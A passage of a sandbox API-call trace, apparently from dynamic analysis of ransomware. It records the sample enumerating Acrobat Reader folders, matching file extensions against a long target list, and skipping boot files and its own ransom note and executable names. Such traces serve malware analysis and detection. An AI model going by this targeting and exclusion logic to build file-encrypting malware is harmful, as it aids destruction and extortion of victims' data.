lpString2="s.js") returned -1 [0266.253] lstrlenW (lpString=".crw") returned 4 [0266.253] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.253] lstrlenW (lpString=".cs") returned 3 [0266.253] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.253] lstrlenW (lpString=".css") returned 4 [0266.253] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.253] lstrlenW (lpString=".csv") returned 4 [0266.253] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.253] lstrlenW (lpString=".cub") returned 4 [0266.253] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.253] lstrlenW (lpString=".dae") returned 4 [0266.253] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.253] lstrlenW (lpString=".dat") returned 4 [0266.253] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.253] lstrlenW (lpString=".db") returned 3 [0266.253] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.253] lstrlenW (lpString=".dbf") returned 4 [0266.253] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.254] lstrlenW (lpString=".dbx") returned 4 [0266.254] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.254] lstrlenW (lpString=".dc3") returned 4 [0266.254] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.254] lstrlenW (lpString=".dcm") returned 4 [0266.254] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.254] lstrlenW (lpString=".dcr") returned 4 [0266.254] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.254] lstrlenW (lpString=".der") returned 4 [0266.254] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.254] lstrlenW (lpString=".dib") returned 4 [0266.254] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.254] lstrlenW (lpString=".dic") returned 4 [0266.254] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.254] lstrlenW (lpString=".dif") returned 4 [0266.254] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.254] lstrlenW (lpString=".divx") returned 5 [0266.254] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.254] lstrlenW (lpString=".djvu") returned 5 [0266.254] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.254] lstrlenW (lpString=".dng") returned 4 [0266.254] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.254] lstrlenW (lpString=".doc") returned 4 [0266.254] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.255] lstrlenW (lpString=".docm") returned 5 [0266.255] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.255] lstrlenW (lpString=".docx") returned 5 [0266.255] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.255] lstrlenW (lpString=".dot") returned 4 [0266.255] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.255] lstrlenW (lpString=".dotm") returned 5 [0266.255] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.255] lstrlenW (lpString=".dotx") returned 5 [0266.255] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.255] lstrlenW (lpString=".dpx") returned 4 [0266.255] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.255] lstrlenW (lpString=".dqy") returned 4 [0266.256] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.256] lstrlenW (lpString=".dsn") returned 4 [0266.256] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.256] lstrlenW (lpString=".dt") returned 3 [0266.256] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.256] lstrlenW (lpString=".dtd") returned 4 [0266.256] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.256] lstrlenW (lpString=".dwg") returned 4 [0266.256] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.256] lstrlenW (lpString=".dwt") returned 4 [0266.256] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.256] lstrlenW (lpString=".dx") returned 3 [0266.256] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.256] lstrlenW (lpString=".dxf") returned 4 [0266.256] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.256] lstrlenW (lpString=".edml") returned 5 [0266.256] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.256] lstrlenW (lpString=".efd") returned 4 [0266.256] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.256] lstrlenW (lpString=".elf") returned 4 [0266.256] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.256] lstrlenW (lpString=".emf") returned 4 [0266.256] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.257] lstrlenW (lpString=".emz") returned 4 [0266.257] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.257] lstrlenW (lpString=".epf") returned 4 [0266.257] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.257] lstrlenW (lpString=".eps") returned 4 [0266.257] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.257] lstrlenW (lpString=".epsf") returned 5 [0266.257] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.257] lstrlenW (lpString=".epsp") returned 5 [0266.257] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.257] lstrlenW (lpString=".erf") returned 4 [0266.257] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.257] lstrlenW (lpString=".exr") returned 4 [0266.257] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.257] lstrlenW (lpString=".f4v") returned 4 [0266.257] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.257] lstrlenW (lpString=".fido") returned 5 [0266.257] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.257] lstrlenW (lpString=".flm") returned 4 [0266.257] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.257] lstrlenW (lpString=".flv") returned 4 [0266.258] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".frm") returned 4 [0266.258] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".fxg") returned 4 [0266.258] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".geo") returned 4 [0266.258] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".gif") returned 4 [0266.258] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".grs") returned 4 [0266.258] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".gz") returned 3 [0266.258] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.258] lstrlenW (lpString=".h") returned 2 [0266.258] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.258] lstrlenW (lpString=".hdr") returned 4 [0266.258] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".hpp") returned 4 [0266.258] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".hta") returned 4 [0266.258] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".htc") returned 4 [0266.258] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".htm") returned 4 [0266.258] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.258] lstrlenW (lpString=".html") returned 5 [0266.259] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.259] lstrlenW (lpString=".icb") returned 4 [0266.259] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.259] lstrlenW (lpString=".ics") returned 4 [0266.259] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.259] lstrlenW (lpString=".iff") returned 4 [0266.259] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.259] lstrlenW (lpString=".inc") returned 4 [0266.259] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.259] lstrlenW (lpString=".indd") returned 5 [0266.259] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.259] lstrlenW (lpString=".ini") returned 4 [0266.259] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.259] lstrlenW (lpString=".iqy") returned 4 [0266.259] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.259] lstrlenW (lpString=".j2c") returned 4 [0266.259] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.259] lstrlenW (lpString=".j2k") returned 4 [0266.259] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.259] lstrlenW (lpString=".java") returned 5 [0266.260] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.260] lstrlenW (lpString=".jp2") returned 4 [0266.260] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.260] lstrlenW (lpString=".jpc") returned 4 [0266.260] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.260] lstrlenW (lpString=".jpe") returned 4 [0266.260] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.260] lstrlenW (lpString=".jpeg") returned 5 [0266.260] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.260] lstrlenW (lpString=".jpf") returned 4 [0266.260] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.260] lstrlenW (lpString=".jpg") returned 4 [0266.260] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.260] lstrlenW (lpString=".jpx") returned 4 [0266.260] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.260] lstrlenW (lpString=".js") returned 3 [0266.260] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.260] lstrlenW (lpString="ui-strings.js") returned 13 [0266.260] lstrlenW (lpString=".love$") returned 6 [0266.260] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0266.260] lstrlenW (lpString="ui-strings.js") returned 13 [0266.260] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0266.260] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0266.260] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0266.260] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0266.261] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0266.261] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0266.261] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0266.261] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0266.261] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js") returned 120 [0266.261] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.261] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0266.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.261] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0266.261] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi") returned 106 [0266.261] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi") returned 1 [0266.261] lstrlenW (lpString="fi-fi") returned 5 [0266.261] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fi-fi") returned -1 [0266.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.262] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi") returned 106 [0266.262] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0266.262] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.262] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.262] lstrlenW (lpString="ui-strings.js") returned 13 [0266.262] lstrlenW (lpString=".1cd") returned 4 [0266.262] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.262] lstrlenW (lpString=".3ds") returned 4 [0266.262] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.262] lstrlenW (lpString=".3fr") returned 4 [0266.262] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.262] lstrlenW (lpString=".3g2") returned 4 [0266.262] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.262] lstrlenW (lpString=".3gp") returned 4 [0266.262] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.262] lstrlenW (lpString=".7z") returned 3 [0266.263] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.263] lstrlenW (lpString=".accda") returned 6 [0266.263] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.263] lstrlenW (lpString=".accdb") returned 6 [0266.263] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.263] lstrlenW (lpString=".accdc") returned 6 [0266.263] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.263] lstrlenW (lpString=".accde") returned 6 [0266.263] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.263] lstrlenW (lpString=".accdt") returned 6 [0266.263] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.263] lstrlenW (lpString=".accdw") returned 6 [0266.263] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.263] lstrlenW (lpString=".adb") returned 4 [0266.263] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.263] lstrlenW (lpString=".adp") returned 4 [0266.263] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.263] lstrlenW (lpString=".ai") returned 3 [0266.263] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.263] lstrlenW (lpString=".ai3") returned 4 [0266.263] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.263] lstrlenW (lpString=".ai4") returned 4 [0266.263] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.263] lstrlenW (lpString=".ai5") returned 4 [0266.263] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.263] lstrlenW (lpString=".ai6") returned 4 [0266.264] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.264] lstrlenW (lpString=".ai7") returned 4 [0266.264] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.264] lstrlenW (lpString=".ai8") returned 4 [0266.264] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.264] lstrlenW (lpString=".anim") returned 5 [0266.264] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.264] lstrlenW (lpString=".arw") returned 4 [0266.264] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.264] lstrlenW (lpString=".as") returned 3 [0266.264] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.264] lstrlenW (lpString=".asa") returned 4 [0266.264] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.264] lstrlenW (lpString=".asc") returned 4 [0266.264] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.264] lstrlenW (lpString=".ascx") returned 5 [0266.264] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.264] lstrlenW (lpString=".asm") returned 4 [0266.264] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.264] lstrlenW (lpString=".asmx") returned 5 [0266.264] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.264] lstrlenW (lpString=".asp") returned 4 [0266.264] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.264] lstrlenW (lpString=".aspx") returned 5 [0266.264] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.265] lstrlenW (lpString=".asr") returned 4 [0266.265] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.265] lstrlenW (lpString=".asx") returned 4 [0266.265] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.265] lstrlenW (lpString=".avi") returned 4 [0266.265] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.265] lstrlenW (lpString=".avs") returned 4 [0266.265] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.265] lstrlenW (lpString=".backup") returned 7 [0266.265] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.265] lstrlenW (lpString=".bak") returned 4 [0266.265] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.265] lstrlenW (lpString=".bay") returned 4 [0266.265] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.265] lstrlenW (lpString=".bd") returned 3 [0266.265] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.265] lstrlenW (lpString=".bin") returned 4 [0266.265] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.265] lstrlenW (lpString=".bmp") returned 4 [0266.265] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.265] lstrlenW (lpString=".bz2") returned 4 [0266.265] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.265] lstrlenW (lpString=".c") returned 2 [0266.265] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.265] lstrlenW (lpString=".cdr") returned 4 [0266.266] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.266] lstrlenW (lpString=".cer") returned 4 [0266.266] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.266] lstrlenW (lpString=".cf") returned 3 [0266.266] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.266] lstrlenW (lpString=".cfc") returned 4 [0266.266] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.266] lstrlenW (lpString=".cfm") returned 4 [0266.266] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.266] lstrlenW (lpString=".cfml") returned 5 [0266.266] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.266] lstrlenW (lpString=".cfu") returned 4 [0266.266] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.266] lstrlenW (lpString=".chm") returned 4 [0266.266] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.266] lstrlenW (lpString=".cin") returned 4 [0266.266] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.266] lstrlenW (lpString=".class") returned 6 [0266.266] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.266] lstrlenW (lpString=".clx") returned 4 [0266.266] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.266] lstrlenW (lpString=".config") returned 7 [0266.266] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.266] lstrlenW (lpString=".cpp") returned 4 [0266.266] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.266] lstrlenW (lpString=".cr2") returned 4 [0266.267] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.267] lstrlenW (lpString=".crt") returned 4 [0266.267] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.267] lstrlenW (lpString=".crw") returned 4 [0266.267] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.267] lstrlenW (lpString=".cs") returned 3 [0266.267] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.267] lstrlenW (lpString=".css") returned 4 [0266.267] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.267] lstrlenW (lpString=".csv") returned 4 [0266.267] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.267] lstrlenW (lpString=".cub") returned 4 [0266.267] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.267] lstrlenW (lpString=".dae") returned 4 [0266.267] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.267] lstrlenW (lpString=".dat") returned 4 [0266.267] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.267] lstrlenW (lpString=".db") returned 3 [0266.267] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.267] lstrlenW (lpString=".dbf") returned 4 [0266.268] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".dbx") returned 4 [0266.268] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".dc3") returned 4 [0266.268] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".dcm") returned 4 [0266.268] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".dcr") returned 4 [0266.268] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".der") returned 4 [0266.268] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".dib") returned 4 [0266.268] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".dic") returned 4 [0266.268] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".dif") returned 4 [0266.268] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".divx") returned 5 [0266.268] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.268] lstrlenW (lpString=".djvu") returned 5 [0266.268] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.268] lstrlenW (lpString=".dng") returned 4 [0266.268] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".doc") returned 4 [0266.268] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.268] lstrlenW (lpString=".docm") returned 5 [0266.268] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.269] lstrlenW (lpString=".docx") returned 5 [0266.269] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.269] lstrlenW (lpString=".dot") returned 4 [0266.269] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.269] lstrlenW (lpString=".dotm") returned 5 [0266.269] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.269] lstrlenW (lpString=".dotx") returned 5 [0266.269] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.269] lstrlenW (lpString=".dpx") returned 4 [0266.269] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.269] lstrlenW (lpString=".dqy") returned 4 [0266.269] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.269] lstrlenW (lpString=".dsn") returned 4 [0266.269] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.269] lstrlenW (lpString=".dt") returned 3 [0266.269] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.269] lstrlenW (lpString=".dtd") returned 4 [0266.269] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.269] lstrlenW (lpString=".dwg") returned 4 [0266.269] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.269] lstrlenW (lpString=".dwt") returned 4 [0266.269] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.270] lstrlenW (lpString=".dx") returned 3 [0266.270] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.270] lstrlenW (lpString=".dxf") returned 4 [0266.270] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.270] lstrlenW (lpString=".edml") returned 5 [0266.270] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.270] lstrlenW (lpString=".efd") returned 4 [0266.270] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.270] lstrlenW (lpString=".elf") returned 4 [0266.270] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.270] lstrlenW (lpString=".emf") returned 4 [0266.270] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.270] lstrlenW (lpString=".emz") returned 4 [0266.270] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.270] lstrlenW (lpString=".epf") returned 4 [0266.270] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.270] lstrlenW (lpString=".eps") returned 4 [0266.270] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.271] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.271] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0266.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 